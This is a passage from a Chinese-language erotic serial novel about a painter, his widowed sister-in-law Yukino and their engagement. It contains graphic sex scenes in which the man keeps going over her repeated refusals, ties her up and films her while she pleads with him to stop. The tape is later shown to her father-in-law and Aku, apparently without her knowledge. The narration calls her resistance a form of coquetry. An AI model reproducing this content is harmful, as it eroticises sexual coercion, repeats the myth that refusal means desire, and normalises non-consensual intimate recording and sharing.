图片载入中

三美神-奸的兽道(第5-7节 共10节)

特大字】 【大字】 【中字】 【小字

第五章四角型的淫景

在明天就是满七的下午,雪乃悄悄来到伸介的画室。

雪乃到东京找朋友商量事情后,就一直没有见面,伸介想,她现在来一定是为那件事。

那是很温和的天气,伸介难得在充满阳光的画室里工作。

虽然在工作,明天就是嫂嫂回答的日子,自然不可能安心的面对画板。就是心情的亢奋中,画起别人订购的女人灾难图。

对全身绑成大字型的美女,正准备用长矛插入黑色耻毛下的肉洞里,这是图案的中心。

在裸女的脖子上挂一个十字架,是订购主的要求,要画成基督殉难图。

有黑色长发的美女,愈画愈像雪乃。

如果用阿久的印象就过分艳丽,如果用典子的印象就太幼稚,那是有身份的武士家的主妇悲惨的殉教徒,还是雪乃的印象最适合。

再加上最近每天在脑海里想的都是雪乃。

就在这时候她本人突然来到。

伸介只好先把嫂嫂带到画室的角落,用屏风围起来的地方,里面有床和一套沙发。

今天从天窗射进阳光,这里又有火炉,不像上次典子来的晚上那样寒冷。

泡一杯热咖啡给嫂嫂,雪乃今天也穿着朴素的和服。

因此雪白的美貌和艳丽的黑发显得更醒目。

喝咖啡的动作非常高雅,没有一点不合礼貌的地方。

这位贤淑的家庭主妇,被剥去衣服,赤裸的受尽一切凌辱,而且还被绑成大字,任由五郎或喽啰们当做下酒的菜玩弄,这个场面一直离不开伸介的心里。

伸介本人和雪乃也发生过几次关系,知道雪乃达到性高潮的激烈性。

但那种样子不能算是凌辱。

但这种情形被五郎抢先,而且很显然的嫂嫂向他屈服,这个事实使伸介的血液沸腾。

“有什么事吗?”

伸界面对着嫂嫂几乎无法克制凶暴的性欲。

“是……”

雪乃用几乎听不到的声音回答,然后继续喝咖啡,她的眼睛一直没有看伸介。

“明天能听到你的答复吧,我怀着很大的希望。”

对伸介高雅的口吻,雪乃放下咖啡杯说。

“就是关于这件事……”

雪乃的眼睛看着放在腿上的手。

“有什么事要问我的事吗?”

“是……”

“是什么呢?”

沉默一下后,好像鼓起勇气般的擡起美丽的脸,看着伸介。

“不知道你对我这样的人究竟有什么样的想法……”

说完之后,就像等待宣判的犯人低下头。

在这刹那,伸介好像自己的情欲被她看穿,吓了一跳,但立刻恢复镇静。

“男人向女人求婚,除了爱情以外还能有其他埋由吗?当然在这世界上也有以女人的嫁妆或财产为目的结婚的人。可是——”

“不,我不是问这种事情。”

雪乃好像安抚伸介的激动情绪说。

“我想知道的是……”

说到这里好像无法说下去,但又鼓足勇气说。

“被那个流氓羞辱,而且几乎要变成他的情妇……这样的女人,己经没有人理了,可是你还想结婚……我想知道为什么……”

声音虽然很低,但能听得出来,在她的话里含着“绝不要怜悯”的魄力。

伸介知道自己的回答会影响雪乃的决心。

回答之前需要整顿一下思想。

“这个我也只能回答说是爱你的关系。”

然后又说:“可是,我已经不会像中学生那样纯真,过去也有过几次恋爱的经验。”

雪乃的视线看着伸介的胸部。

“所以刚才说的爱情,当然也不是很纯真的。用另外的话形容,可以说‘想要嫂嫂’也可以说是‘不愿意把嫂嫂送给别的男人’。”

说完之后,二个人的视线很自然的碰在一起。

“请看这一张画吧。”

伸介摆脱雪乃的视线站起来。

伸介从画室拿来的就是刚才还在画的美女殉教图。

雪乃接过来后,也没有露出特别的表情,只是凝视着画面。

这个画只有在擡头看天国的眼睛,和念圣玛利亚的嘴唇,以及将要有长矛刺进去的阴户图上彩色。

和任何春宫图一样,详细的画出从肉缝凸出的阴核以及二片花瓣。

可是看到这些东西后,雪乃的表情仍旧那样冷静。

“关于我的性癖,嫂嫂也多少该知道一点。”

雪乃看着画点头。

“这是为了好玩画的,但卖给喜欢此道的人,还能赚一砧零用钱。”

说完之后,伸介就回到原来坐的地方等待雪乃的反应。

只要对那个图看一眼,雪乃应该知道很像她。然后会有什么样的反应……

雪乃看了很长时间,就像迷上那幅画——自己变成殉教者的画——伸介看出雪乃的表情绝不是厌恶的样子,像获得鼓励似的补充说。

“我也算是一个画家,为表现自己,用画是最简单的方法。”

雪乃微微点头。

在她雪白的脸上,出现兴奋的征候。

“能不能把这幅画让给我。”

雪乃擡起头说。她的脸上出现红润,好像少女一样看伸介时有如耀眼。

“当然没有问题……但这样就可以认为你已经接受我的心意了吧。”

伸介看着雪乃的眼睛说。

“是……”

“那么,现在轮到要听嫂嫂的心意了。”

“那个……明天……”

雪乃有一点狼狈的样子。

“心情还那样不定吗?明天是在公开的场所说的,重要的是我们二个的心意。”

伸介站起来走到雪乃的身边,紧紧靠在她的身体坐下,拉起她的手。

雪乃在这刹那移动一下身体,但手被他用力拉过去时,轻轻叹一口气就没有反抗。

“请告诉我吧。”

伸介伸出一只手搂住雪乃的肩。

“所以在明天……”

“还在说这种话。”

伸介带着生气的口吻说完,就把雪乃的脸扭转过来,仔细的看她。

雪乃看到伸介充满情欲的眼睛,立刻把自己的眼睛闭上。

伸介双手抱紧雪乃,大概是过份激动的关系,身体在颤抖。

“我是……你的人……”

红唇在颤抖,但每一个字说的很清楚。

“我不会……要求你一定爱我……但不要抛弃我……让我永邍留在你的身边。”

“雪乃……”

“我太高兴了……”

二个人的嘴唇像撞击一样的合在一起。二个舌头好像争先恐后的缠在一起,发出哼声贪婪的吸吮。

伸介把雪乃的舌头用力吸吮,几乎舌头快要断裂,这样使雪乃发出哭一般的哼生,同时开始解开她的腰带。

雪乃发出狼狈的声音挣扎。

伸介继续解开腰带。

“不要……今天,饶了我吧……”

“你刚才答应的。”

“那是……我要正式成为你太太以后……”

“说什么正式。以前我都听你的话,所以二次都被五郎抢先。你虽然不同意也被五郎强迫的拖下海。”

“不,那是……那是……”

伸介没有让她说完,从沙发上抱起雪乃的身体,放在床上。

伸介准备无论如何都要雪乃交媾。他准备以这样的行为赶走留在脑海里的五郎的印象。

伸介使自己变成魔鬼,把哀求的雪乃在床上滚来滚去的脱下衣服。

随着衣服一件一件减少,雪乃的抵抗跟着消失。

(原来女人的抵抗……不过这种程度。)

想到五郎,伸介就感到苦恼,所以动作也随着粗暴起来。

但这是伸介的多心。

同样是被男人强迫脱衣服,讨厌的男人和不是讨厌的男人之间,女人的反应当然会不同。

雪乃现在的抗拒,可以说是一种媚态。

如果伸介能保持平静,他不是不能理解,可是现在的伸介,对五郎的嫉妒,实在太强烈。

现在雪乃的身上只剩下一件和服时穿的围兜。

“如果你真的要做我的女人,就用自己的手脱下围兜,赤裸裸的跪在我的面前。”

“啊……饶了我吧。”

“这是说,你的决心还没有十分坚定。”

“不……可是……我不能够……”

大概这样说出来已经感到很羞耻,雪乃勐烈摇头。头发开始散乱,披散在脸和脖子上。

“你说过,受到五郎凌辱时,自己脱光衣服,还合掌说可以玩弄你,但不要杀你的。”

“不,我没有说。”

对伸介开玩笑的话,雪乃立刻这样反应。

“嘿嘿嘿,好吧。今天我们还是外人,我就饶了你。”

“啊……”

伸介从背后抱住雪乃,开始解开围兜的带子。

“不,不能这样……”

伸介不管雪乃如何抗拒,用力拉开。

“啊!”

雪乃用手压在前面,扑倒在床上。

伸介从她的腰上拉下那块薄布。

这时候出现一丝不挂的雪白裸体。

伸介一面看雪乃难为情扭动的肉体,一面自己也脱光。

伸介从后面抱住她,让二个人的身体紧紧靠在一起,用腿夹住她,同时吻她的脖子。

“啊,伸介……”

大概雪乃知道现在只有把自己交给热情的男人,把手放在伸介抓住她乳房的手上,好像要求接吻似的把头扭转过来。

伸介把自己快要爆炸的坚硬肉棒,顶在雪乃的屁股沟里,吸吮她的嘴唇。

伸介放松拥抱的力量时,雪乃主动的转过身体面对伸介,伸出双手抱紧伸介的脖子。吻的更深,肉棒在二个人密结的肚子中间受到压迫。

雪乃好像兴奋的已经无法忍耐,嘴用力离开伸介的嘴,把兴奋的脸用力向后仰。同时分开大腿做出把伸介的腰夹在里面的姿势。

伸介本来在此之前想做一件事,但到这种状态后,也无法控制自己的冲动。

抓住雪乃的双手,像喊万岁一样的高高举在头上,再把身体压上去。

“把腿分开更大一点,膝盖要立起来。”

“不……”

雪乃用力摇动没有办法隐藏的脸,可是她好像也无法忍受高昂的情欲。

照男人的命令用力分开大腿,主动采取接受男人的姿势。

伸介只是向前挺一下屁股,肉棒的尖端就插入火热的肉洞里。

“啊……”

雪乃发出尖锐的叫声,好像迫不及待的擡起屁股。

“这样想性交吧?和五郎的那一次,最后也这样自己擡起屁股吧。”

“没有……没有啊……”

说到一半时就被伸介插到底的雪乃,唔唔的翻起白眼,撑起身体。

雪乃的阴户里已经湿淋淋的溶化,而且显示出敏感的反应,紧紧的勒住肉棒。

然后立刻发出哭泣般的呻吟声,知道伸介的身体没有动时,主动的向上挺起下体。

伸介知道雪乃一旦陷入热情里,就会显出惊人的淫乱状态,但这样激烈的样子还是第一次。

已经顾不得一切,身体任由强烈的性感摆弄,一面浪叫着一面用力摇动屁股。叫着好……夹紧肉棒。

偶尔张开眼睛,但一定看不到任何东西。

伸介也忍不住开始勐烈抽插。

“啊……不行了……唔……”

勐烈摇头,乳房摆动,但仍旧不满足的样子,用双腿夹住伸介的腰,屁股用力向上挺。

“啊……要泄了……泄了……”

发出苦闷般的声音后,身体向后仰,全身开始痉挛。

夹住腰的双腿更有力的勒紧,同时把肉棒夹得非常疼痛。

这时候伸介也放弃忍耐,把火热的精液射在雪乃的子宫上。

出汗后感到冷。

伸介擡起身体用浴巾用力捺拭身体。

不知何时雪乃披上衣服,面向外躺在那里。

伸介穿上内裤和背心,从冰箱拿出罐装啤酒解渴。

然后到画室。因为他在身体的热火消失之前,还要做一件事。

如果就这样累倒,就会输给五郎。

在画室的角落,有一个和五郎用在雪乃身上的完全相同的架子。如果说是偶然,确实是偶然,但喜欢虐待狂游戏的人好像想的都一样。

拉到画室的中央竖立。

然后在稍许离开的位置安装录影机。

过去对这种机械没有关心的伸介买这种东西,是受到雪乃的刺激。

五郎凌辱雪乃,一切都用录影机录下来,然后放给雪乃看,从她难为情的样子,寻找乐趣,同时可以让她放弃抵抗。

当时雪乃谈这一件事时,好像从全身冒出羞耻的火光,看得伸介目瞪口呆。

事后自己一个人看也会高兴,但让本人看到,欣赏那种难为情的模样,一定也是很大的乐趣。

更何况对象是雪乃。

买这一套录影装备的钱,还是久兵卫出的。

久兵卫听说雪乃任由五郎摆弄,是因为他用录影机拍下雪乃受凌辱的场面后,久兵卫也购买一套。

对身体不自由的久兵卫而言,把伸介和阿久性交时的场面拍下,高兴时拿出来看,比看伸介画的春宫画一定有更大的刺激。

而且已经对阿久使用过一次。

当然凌辱阿久的人是伸介,当时留下很深的印象,就是在录影机前的阿久,比只有久兵卫看的时候,显示出更强烈的羞耻反应。

这样一来,也使伸介产生新鲜的感觉,能更卖力的……。

一切准备妥当后,伸介回到床边,从雪乃的身上拉下衣服。

“到这边来吧。”

“还要做什么……”

雪乃美丽的眼睛里露出恐惧的色彩。

“过来就知道了。”

伸介搂起雪乃的细腰,强迫的拉到画室里。

“啊……”

雪乃看一眼就知道什么东西,立刻勐烈摇头。

“好像你还记得这个东西。在我这里有同样的东西,完全是偶然。这是表示五郎和我有相同的想法了。”

“饶了我吧,唯有这个东西……”

“不愿意吗?”

“太过份了。故意使我想起那一次几乎想死的痛苦……”

“你不是想起,而是忘不了吧。”

“不……”

“你就是想忘记,你的身体是不肯忘记的,对不对?”

“……”

雪乃挥动散乱的头发,呜呜的哭泣。

“所以,我要你把那个可怕的记忆和这里的现实重叠起来,这样就可以忘记以前的事了。”

“……”

伸介把没有抵抗力的雪乃赤裸的身体拉到架子下面。

伸介抓住她的双手举到头上。

“啊……不要……”

想挣扎也抵不过男人的力量,全身都被拉直后站在那里。

“难为情死了……”

大概知道抵抗也没有用,一面摇动低下的头,一面把大腿夹紧。

伸介把雪乃的双手高举后向左右分开,固定在架子的二端上。

这时候离开云乃的身边,到录影机那里看照门。

“求求你,千万不要拍这种样子……”

受到天窗射进来的阳光照射,发出光泽的肉体,在照门里不停扭动。

“这样的拍照,你是有过经验的。”

“啊……太过份了……”

“而且那一次是外人的小喽啰用卑鄙的眼光欣赏,但这一次是只有你和我。”

“啊……”

大概沓是想能隐藏的地方要隐藏,用力地夹紧还保持自由的双腿。

不过这种样子可以说表现女人最大的耻辱感,显示出无法形容的媚态。

打开灯开关回到雪乃身边的伸介,在紧紧夹在一起的大腿脚下,分开栓上绳子。

“现在要你做出什么姿势,已经知道了吧,快把大腿的力量放松。”

“不……我不要那种样子……”

录影机已经开始旋转,由镜头拍射的场面从监控的电视萤幕上照出来,雪乃看到后发出尖叫声,不由得扭动屁股和腰肢。

首先把栓住双脚的绳子,从架子右侧根部的环穿过后慢慢拉紧。

“啊!”

她终于双腿被垃开,发出悲叫声。

腿被拉直在架子的根部固定。

左边也一样离开右脚后固定。

“饶了我吧……不要这样……”

雪乃这时候形成大字形的姿势,只有摇动唯一能自由活动的头部,和发出哭叫声。

只要稍稍张开眼睛向前看,就从电视上看到自己羞耻的模样,因此也更加重她的狼狈。

虽然如此,似乎忍不住要偷看一眼,然后表现强烈的羞耻模样;看在伸介眼里,觉得非常有趣。

伸介再度变成赤裸站在雪乃的背后,双手伸到前面抓住起伏不停的乳房,把己经恢复力量的肉棒顶在雪乃的屁股上。

就这样在雪乃的身后,一起看电视里的场面。

“这样看自己被玩弄的样子,有什么感觉。”

在光滑湿润的脖子上吻着,双手抚摸丰满的乳房。

“啊……饶了我吧……我不要这样……”

雪乃用力摇头,拼命喊叫。

“可是,你的屁股这样扭动,好像在要求。而且刚才还含着这个东西痛快的快要昏过去。”

“啊……”

不用伸介说出来,刚才是尝受到身心都快溶化的快感,现在又这样展现出大字,而且还要自己看到那是多么难为情……。

而且二个人赤裸的身体又靠在一起,那种感觉使她头昏目眩。

这样在宽大画室里的一角,本来很冷的地方,但雪乃的身上已经冒出汗珠。

对伸介来说,比自己年纪大的女人像少女一样表现难为情的样子,是比什么都宝贵。

在抚摸乳房时,突然放下一双手到大腿根,在花瓣上摸一下。

“啊……不要……”

雪乃的身体向后仰,下体发生颤抖。

果然那里和猜想的一样,已经溢出火热的蜜汁。

“和五郎的那一次也是这样吧,被强暴后你也逐渐有了性感……”

伸介一面咬紧雪乃的耳朵一面说。

“不是的……这是……因为是你,才会理成这样难为情的身体……”

雪乃这样说完之后,主动的用力扭转头,要求接吻。

伸介好像大口吃东西一样吸吮不断发出哼声的嘴唇,一只手抚摸乳房,一只手拨开阴毛,挖弄湿淋淋的肉繨。

“唔……唔……”

雪乃皱起美丽的眉毛,用力吸吮伸介的舌头,勐烈摇动屁股。

简直不敢相信,刚才已经达到高潮的女人,会像雪乃这样疯狂。

伸介停止接吻,开始在大腿根做集中性的攻击,当然火热的肉棒,仍旧顶在屁股沟上。

雪乃的肉洞溢出的蜜汁已经流到大腿根上,随着伸介手指的动作,发出轻微的水声。

(希望这个典音也能录进去……)

伸介想着向指向性强大的麦克风瞄一眼。

忍不住发出的叹气声,和挖弄花瓣里的洞口发出淫靡的水声。

这样才能增加录影带的刺激性。

伸介用食指和中指,夹住雪乃凸起的肉芽揉搓,同时把包皮剥开或套回,反复做这样的动作。

也在这个时候用手指挖弄阴洞,手指沾上蜜汁涂在肉芽的尖端上。

雪乃已经放弃平时的矜持和高雅的风度,从鼻子里发出哼声,嘴里也不断地浪叫,屁股向上挺或扭动圆圈。

伸介就让雪乃保持这种上气不接下气的状态,回到床边喝一口啤酒解渴,然后拿回来电动假阳具。

“看你阴户湿淋淋的样子,大概是想要这个了吧。”

雪乃张开朦胧的眼睛,但看到那个东西后,脸上出现恐惧的表情。

“不要用那种东西吧……”

“可是我刚才已经射过一次了,和女人不一样,不能立刻准备好。而且……”

伸介打开电动假阳具的开关,用振动的假阳具,在雪乃的脖子上摩擦。

“你说过,在五郎的地方用过很多次这个东西。”

“啊……”

想把脸转开时,被伸介抓住头发拉回去,用假阳具从喉咙到胸上移动。

“饶了我吧……”

“身体里已经麻痹了吧。”

摸到完全硬硬凸起的乳头时,雪乃好像忘记刚才还说过不要的话,不停的扭动雪自的屁股。

伸介一面看这样的画面,一面用假阳具摩擦她的腰、肚脐,然后转过来到背上,向下滑落到屁股的沟里。

再度回到身体的前面,在有艳丽黑毛的耻丘上,鼠蹊部上,在大腿根由上向下,由下向上爱抚。

当振动的假阳具前端,碰到如同撒尿过的肉缝时,雪乃好像半死半活的扭动全身是汗的雪白肉体。

伸介用左手拨开阴毛,让肉芽暴露出来,就用电动假阳具在这里摩擦。

雪乃发出痛苦的哼声,头向后仰。

伸介用假阳具在那里旋转。

“啊……不行啦……不要啦……”

雪乃的叫声开始颤抖。

白眼球向上翻,牙齿咬得卡滋卡滋响,看到这样强烈的反应,伸介关闭假阳具的电门,然后插入阴户里。

这样在子宫上挖弄二、三下,用很大的动作抽插。

“啊……”

雪乃好像已经无法忍受,软绵绵地摇头,但还是一面啜泣,一面扭动屁股配合伸介手里假阳具的活动。

“你好像很舒服的样子。”

“啊……不要这样说……难为情……”

从她的嘴流出口水,因为已经无力闭上嘴。

伸介一面用假阳具抽插,一面伸左手进入屁股沟里。

丑陋的粗大假阳具,每抽插一次,就从阴道口流出火热的蜜汁,从会阴到肛门都已经湿淋淋。

伸介用食指抚摸像花蕾般的肛门。

“啊……不要在那里……”

雪乃发出惊慌的声音,收紧花蕾,扭动开始僵化的屁股。

可是她的声音,在中途就变成迫不及待的哼声。

因为缩紧肛门的同时,夹住假阳具前面的肉洞也夹紧。雪乃感到前后均进退维谷,只好哭着表示现在的感觉。

伸介对已经软绵绵的无力肉体,从前后一起攻击。

“啊……饶了我吧……我不要这样……”

虽然一面哭一面诉说,但也逐渐接受这样的感觉。

原来紧闭的菊花蕾,受到花蜜的滋润开始软化,而且微微隆起,甚至于出现吸吮的动作。

伸介一面用假阳具在前面慢慢抽插,一面用食指插入如今已经松弛的肛门里。

“啊……”

雪乃的屁股在颤抖,好像不明自为什么会这样的摇头,发出来的声音,像大舌头说的话。

食指进入到根部,立刻有温暖的粘膜夹紧。

“现在的感觉怎么样?”

“我的精神快要错乱了……”

雪乃气喘喘的用朦胧的眼光看着伸介。

“相当不错的感觉吧。”

“……”

“好像五郎没有给你摸这个地方。”

雪乃张开嘴,但说不出话来。只有扭动又出汗的脸。

“这样说来,这里还是虚女地带。你答应嫁给我以后,我会要这里的处女。”

“啊……这样……”

雪乃含着眼泪,用焦点不定的眼光哀求。前后同时受到攻击的身体,大概想反抗也用不上力量。

伸介把前面的假阳具和后面的手指同时开始活动。

“啊……我已经……”

雪乃上气不接下气的扭动身体。

就在这样的雪乃身体里,隔着一片薄薄的膜,有粗大假阳具和伸介的食指摩擦。

“啊……不要……”

雪乃发出哼声时,全身开始痉挛。

“你又想泄了吗?”

可是,雪乃已经无力回答,只有仰起头向前挺动屁股。

“泄了……啊……泄了……”

刹那间全身的肌肉收缩,整个身体向后仰。

从咬紧牙关的嘴缝,露出气笛的叫声。

含住假阳具的阴肉做出吸吮的收缩动作,同时不断的流出喜悦的蜜汁,有手指在菊花洞里活动,这时候括约肌也不断收缩,几乎要夹断手指。

不久后,爬上高潮顶点的雪乃,裸体的汗珠在下午的阳光中闪闪发光,但整个人软绵绵的吊在横杆上。

“就是这样……这是第二回合。第一回合是刚才说过的,因为没有录影,不能看到。”

伸介这样说过之后,关上录放影机的开关。

这是在同一天晚上的久兵街卧房里。

在熄灭大灯留下小灯的微暗房间里,久兵卫凹下去的眼睛,好像有鬼神附在身上一样闪闪发光,阿久的眼睛湿润的有一层雾。

只有伸介默默的喝啤酒。

不久之后,久兵卫深深叹口气,好像精疲力竭的倒在坐椅上,阿久用手捂着火热的脸,眼睛带着羞意看着伸介。

久兵卫肴着伸介带着手势说了几句话。

“他说平时那样高雅的女人,脱了衣服就变成淫荡的女人。”

阿久为他翻译。

“大概女人都是这样吧,而且男人也是喜欢女人这样的。”

阿久被伸介看一眼红着脸低下头。

和雪乃发生关系后,用录影机录下来给久兵卫看,这是他出钱购买录影机设备时,彼此之间就有了这样的默契。

结果在她正式回答之前已经实现,对久兵卫来说是很愉快的惊喜。

阿久替久兵卫擦拭头上的汗,给他喝一点啤酒,当伸介给她倒啤酒时,也痛快的喝光,擡头时露出已经湿润的雪白喉咙。

“开始第三回合吧。”

久兵卫听到伸介的话,就把阿久拉过来,让她靠在能活动的右手边,把胸前的衣服拉开。

露出的二个乳房也已经湿润,久兵卫用手抚摸。

阿久这时候形成快要趴在久兵卫身上的姿势,雪白的手伸入久兵卫的裤子里。

虽然不会正常的勃起,但用这种方法多少可以安慰一点心里的急燥感。

伸介打开录影机。

第三回合是转到床边。

这是表示录影机从画室移到床边,有一段时间的中断。

雪乃已经赤裸的双手被绑在后面,跪坐在床边。黑暗的背景使她的雪白身体特别鲜明。

已经二次达到性高潮,可以说是精疲力尽,但这样等待男人来虐待的样子,全身都充满妖媚的性感。

从画面的右手边出现伸介,坐在床上时形成和雪乃面对面的场面。

他也已经全身赤裸,从阴毛间有巨大的肉棒挺立。

雪乃好像倒吸一口气,把脸转开。

伸介伸手抓住她的肩用力拉过来,肉棒的头部碰到仰起的下颚。

“含在嘴里!”

因为兴奋,伸介的声音有一点沙哑。

“啊……饶了我吧……”

雪乃用力摇头。

上下被绳子捆绑的乳房,随着她的摇头左右摇动。

“你不肯含在嘴里,是表示明天的回答是拒绝吗?”

雪乃露出像唾泣般的叹气声。

“如果是答应,就含在嘴里。那是表示要做我的女人的誓言。”

伸介看着萤幕自己都有一点难为情。

当时因为极度兴蕾没有什座感觉,现在这样用第三者的眼光看,过份的有点戏剧化。

但是看着自己的行为,又涌出新的兴奋也是事实。

让对方口交时,自己只能从上方看。

可是看画面时,能从不同的角度看到,所以显得特别新鲜。

久兵卫和阿久,都互相抚摸对方,瞪大眼睛凝视画面。

过去给人冷漠感的媳妇,现在要自己主动的张开嘴,把男人的肉棒含进嘴……雪乃好像还有一点犹豫的样子,但不久后大概下了决心,甩一下散乱的头发,然后闭上眼睛擡起雪自的脸,微微张开嘴,在面前的粗大肉棒上轻轻摩擦。

久兵卫和阿久都叹一口气。

雪乃立刻变大胆,张开嘴一面为兴奋发出哼声,一面深深的含进嘴里。

镜头开始移动(这一次的距离较近,伸介能操作遥控器),皱起的眉头,鼻头上的小汗珠,含住肉棒的柔软嘴唇等都有特写镜头。

好像痛苦的唿吸声,舌头吸吮时的声音,都能听到。

“我要射在你的嘴里,你要全部喝下去。”

伸介一面说一面抓住雪乃的头发,开始用力在嘴里抽插。

美丽的脸上冒出汗珠,喉咙好像很痛苦的起伏,镜头是一下特写一下又变成远景。

“我要射了!”

伸介微微擡起屁股,更深深的刺入雪乃的喉咙里。

“唔……唔……”

雪乃的脸颊鼓起,皱纹也更深。

这时候雪乃的脸连续二三次向后仰,每一次都发出苦闷的哼声。

这时候久兵卫好像从梦中醒来咳嗽一声,阿久整理一下头发和衣领。

录影带终了,画面变黑暗。

**********************************

第六章婚姻的新来

只在少数亲友之间举行京堂健男的满七,一切都从简。

虽然新闻媒体早已忘记那一次带有神秘感的事件,但也考虑到社会的体面问题,就这样简单举行。

这一天晚上雪乃把黑色的礼服换成普通的和服,也让女儿典子换上整洁的衣服,来到久兵卫的地方。

久兵卫是随着季节的寒冷身体状况不佳,也没有参加白天的满七法会。但这一次还是命令伸介和阿久把他抱到轮椅上。

轮椅推到客厅的正位,阿久和伸介分别站在左右。

在对面的地方是雪乃和典子。

雪乃行礼后,报告丈夫的满七会顺利办完,并说些感谢的话。

久兵卫在嘴里嘟哝几句,同时深深点头。

“他说你辛苦了,现在可以放下肩上的重担,可以喘一口气了。”

阿久翻译。

雪乃照着风俗深深一鞠躬。

那种高雅的举止显得特别优美,同样的一个女人,昨天淫荡到那种程度,还肯让别人录影,确实难以令人相信。

伸介凝视她整洁的头发,衣服的领口,紧紧闭上的嘴唇,想从这里找出昨天狂欢时的痕迹,但无法看到。

在丈夫在世时已经和小叔伸介发生关系,又被流氓五郎强奸,受到小喽啰的戏弄。在丈夫死后不到满七,又投入伸介的怀抱达到性高潮——不知道今天雪乃参加法会时,面对丈夫的牌位心里有什么想法——从她贤淑的脸上,无法看出她心里的变化。

昨夜在录影带上看到雪乃疯狂的痴态,久兵卫的心里大概和伸介是一样的。凹下去的眼睛闪闪发光,凝视美丽的媳妇。

雪乃本人好像没有注意到男人们的视线,端坐在那里低头看自己的手。

久兵卫好像很急迫的说了几句话。

“他说——伸介今天要听你的回答。”

当阿久这样转达意思时,雪乃也没有慌张的样子,可能心里已经有了明确的答案。

身边的典子,悄悄的看母亲的表情。

“这件事是对我的好意,我愿意接受。”

难免有些紧张,喘口气继续说。

“对我这样不憧事的人,过去给我很多照顾,今后对我们母女二个人,希望能和以前一样的爱护。”

雪乃说完深深鞠躬,典子也急忙跟着鞠躬。

“你说的很好。”

在朽木般的脸上露出喜悦的光采,久兵卫满意的点头。

“谢谢,嫂嫂。”

伸介好像放下心里的疑虑,阿久也跟着说。

“这样太好了,我们也希望你能多照顾我们。”

听到大家说这样高兴的话,雪乃雪白的脸上也出现红润。典子好像很难为情的看一眼伸介,然后用双手捂住脸。

在典子来说,母亲决定结婚的对象,是她初恋的男人,也发生过肉体关系,心里难免会出现复杂的感情。

阿久把原来推在一边的桌子又摆好,拿来事先准备好的香槟酒。

五个酒杯里倒满香槟酒,一起干杯。

二个人的结婚还是对外有一些顾忌,所以决定等到健男的周年忌后举行。到那个时候,五郎的官司大概也能结案。

可是,在满七——也是婚约成立的一天——约三天后,伸介又和雪乃发生关系,和未婚妻发生关系——好像没有什么特别的地方,但实际上是强迫不愿意的雪乃发生关系。

夜晚十点多钟,在冬天寒冷的夜晚,伸介来敲雪乃的门。

他的突然来临,雪乃感到狼狈,一方面时间已晚,而且以典子还没有睡为借口拒绝,可是伸介强迫她进入房里。

自从看到满七夜的雪乃,对她的欲望比以前更强烈。

走进客厅看到桌上有一个茶杯,开着的电视机声音很小。

雪乃要去倒茶时,伸介迫不及待的扭住她。

“典子会来的……”

雪乃轻轻挣扎着压低声音说。

“有什么关系,我是订过婚的人。”

伸介一面这样说,一面用嘴把雪乃的嘴堵塞。

一旦接吻之后,雪乃就会采取主动,搂抱的手开始用力,不停的摩擦嘴唇也吸吮伸介的舌头,自己也把舌头伸入伸介的嘴里,任由他亲吻。

伸介看出雪乃的唿吸逐渐急促,把手伸到背后开始解腰带。

“不,不要这样,典子还没有睡,如果她下来……”

“典子也已经到了懂事的年龄了。”

雪乃的脸上出现红润,但仍旧紧张。

伸介不理会她的抗拒,继续解开腰带。这样选择有典子在家的夜晚,为的就是要典子确实面对这个事实。

上一次她说的话好像能接受,但实际上在一个屋顶之下,看到亲生母亲投入自己爱人的怀抱,会引起什么样的反应……从楼下的声音或动静,应该知道来的人是伸介。

现在她可能躲在自己的房间里,竖起耳朵听楼下的动静。

拉开松散的衣服露出肩头,伸介从那里吻到雪白的脖子。

“啊……真的……放过我吧……”

嘴里请求放过她,但雪乃搂抱的力量更强烈,身体里涌出的兴奋,使她的身体不停颤抖。

伸介为了使雪乃的情欲更热烈,继续在脸上、下颚、肩上亲吻。

“至少……把灯……”

“你是说要假装睡了吗?”

伸介认为这一次那样也好,就伸手熄灭头上的灯。

伸介在此之前,看到隔壁卧室的门是开的,而且已经准备好寝具。

(记得哥哥在世时,卧房是在最里面的房间……)

伸介这样想着,在黑暗中抱起靠自己的力量无法站稳的雪乃。

(睡在里面的卧房,大概会想起丈夫,感到寂寞吧……)

倒在寝具上时,雪乃任由他把衣服一件一件的脱下去。

在黑暗中她的唿吸更急迫,女人特有的味道也更强烈。

把她的衣服脱光后,先盖上一条薄被,然后伸介也迅速把自己的衣服脱光。

立刻钻进被里把雪乃用力抱紧,雪乃从鼻孔发出哼声,抱紧伸介后就要求亲吻。

二个人互相贪婪吸吮对方的唇和舌,几乎唿吸的时间都没有。

密结的胸与胸,腹部与腹部之间立刻出汗,棉被里充满热气。

就这样完成无言而激烈的寒喧后,二个人并排仰卧。

伸介的右臂伸到雪乃的头下,雪乃的身体一半转向伸介的方向,紧紧靠在一起。

“你和这样粗暴的男人在一起,会不会后悔?”

雪乃轻轻摇头。

“如果典子现在走进这里来怎么办,刚才你好像很在意的。”

“你欺侮我……”

小声的回答后,用手轻轻的打他。

伸介抓住她的手送到自己的下体上。

“不要……”

“这种事可以做了吧?上一次你是用嘴在这里吸吮的。”

“不要……不要……”

虽然难为情的像小女孩一样,大概黑暗增加她的勇气,顺从他的要求握紧肉棒。

“啊……难为情……”

虽然这样说,但究竟有几分的经验,还是手指用力或放松品尝粗度和硬度的感觉。

“我们彼此找快乐吧。”

伸介这样说着一只手抚摸乳房,另一拉手抚摸有毛的山丘。

“把大腿分开吧。”

“……”

雪乃好像叹一口气,扭动一下屁股,放松大腿的力量,把自己神秘的部分任由心爱的男人玩弄。

那里果然已经有湿淋淋的蜜汁溢出到大腿上。肉芽硬硬的挺立,还露出尖端。

当伸介的手指开始活动时,雪乃轻轻呻吟着,在握住伸介肉棒的手指上用力,好像表示内心的急燥,上下不断套弄肉棒。

“你的浪水流出来的真多。”

伸介用手指夹住肉芽慢慢揉搓。

雪乃只是叹气,出汗的身体不停的蠕动。偶尔从她握住伸介肉棒的手上感觉出她迫切需要的感觉。现在不仅是套弄,还用手掌摩擦龟头。

“想要这个东西给你插进去吗?”

伸介一面吻她的嘴唇一面说。

“不要……”

“我们可是光明正大的未婚夫妻,不须要客气的。”

“可是——”

“那么,就永远保持这样的状态吧。”

“你欺侮我……快来吧……”

“我要你把我的东西放进你的阴户里,你是希望把这个放进去抽插得让你昏过去那样吧。”

“不要说的这样难听……”

“你应该知道我是粗暴的男人,知道后答应结婚的,对不对?”

“是……是的……”

雪乃感到唿吸困难,喉咙里发出唔唔的声音。

“既然这样,就要听我的话。你要主动把大腿分开,把手里握住的东西,放进你自己的阴户,知道吗?”

“啊……这……”

